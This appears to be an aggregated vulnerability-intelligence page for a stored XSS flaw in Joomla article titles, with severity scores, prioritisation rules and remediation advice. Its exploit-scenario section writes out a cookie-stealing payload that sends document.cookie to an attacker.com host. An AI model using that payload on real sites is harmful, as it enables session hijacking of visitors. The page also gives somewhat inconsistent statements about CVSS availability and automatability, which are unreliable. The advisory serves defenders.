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Joomla Cms EUVDEUVD-2026-17859

| CVE-2026-21632 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-01 Joomla GHSA-w5f8-qggr-8844
5.9
CVSS 4.0 · Vendor: Joomla
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While CVSS scoring data is unavailable, the vulnerability presents moderate-to-high real-world risk despite this gap. XSS in article titles qualifies as stored XSS with a broad attack surface-any site visitor viewing affected articles or title-dependent pages encounters the payload. The attack vector is network-based and requires no complex interaction, though it depends on an authenticated actor (article author/editor) to inject the payload initially. The primary limiting factor is privilege requirement: exploitation requires legitimate article creation/editing access, reducing the scope to trusted or compromised administrative/editor accounts rather than anonymous attackers. However, on sites with permissive user registration or where article creation is delegated to untrusted contributors, this becomes a critical vector for account hijacking, session theft, or further compromise. SSVC analysis: exploitation status is unconfirmed in available data (no CISA KEV or public POC noted); technical impact is high (integrity and confidentiality of user sessions); automatable by any authenticated editor. This prioritizes patching over immediate emergency response but elevates priority if your site permits user-generated article content.

Exploit ScenarioDerived

An attacker with compromised editor credentials (or legitimate access as a rogue contributor on an open-registration site) creates or edits an article with a title containing JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When site administrators, moderators, or regular visitors view the article list, category page, or search results displaying the title, the browser executes the payload, sending their session cookies to the attacker's server. The attacker can then replay the stolen session cookie to impersonate the victim, escalate privileges, or perform actions on their behalf. No public exploit code is documented in the provided intelligence, but the attack is trivial to execute for any authenticated user with article editing rights.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 01, 2026

Joomla CMS fails to properly escape article titles in output, enabling stored cross-site scripting (XSS) attacks across multiple locations. Attackers with article creation or editing privileges can inject malicious scripts into article titles that execute in the browsers of site visitors, potentially compromising user sessions, stealing credentials, or defacing content. The vulnerability affects all Joomla CMS versions and requires administrative action to remediate.

RemediationAI

Consult the official Joomla Security Centre advisory at https://developer.joomla.org/security-centre/1030-20260304-core-xss-vectors-in-various-article-title-outputs.html for the patched version number and upgrade instructions. Apply the vendor-released patch immediately to all Joomla CMS installations. As a temporary mitigation pending patch deployment, restrict article creation and editing permissions to trusted administrative accounts only, disable or carefully audit any plugins or extensions that extend article title output, and educate content editors that article titles should not contain HTML, JavaScript, or special characters-rely on Joomla's native title field validation. After patching, audit existing article titles in the database for suspicious content and sanitize or remove any that contain script tags or encoded payloads.

Affected VersionsENISA

Joomla! CMS 4.0.0-5.4.3
Joomla! CMS 6.0.0-6.0.3

Affected Packages

euvd joomla_cms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), a class flaw where user-controlled input (article titles) is rendered in HTML output without proper escaping or sanitization. Article titles in content management systems are typically stored in database fields and rendered in multiple output contexts: article listings, navigation menus, search results, category displays, and archive views. Without context-aware output encoding (HTML entity encoding, JavaScript escaping, or URL encoding depending on the output context), injected JavaScript payloads embedded in titles execute with the same privileges as the viewing user. This is a stored XSS variant because the malicious payload persists in the CMS database and affects all subsequent viewers.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (Joomla) PRIMARY 5.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:U

Primary rating from Vendor (Joomla) · only source for this CVE.

CVSS VectorVendor: Joomla

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Lack of output escaping for article titles leads to XSS vectors in various locations.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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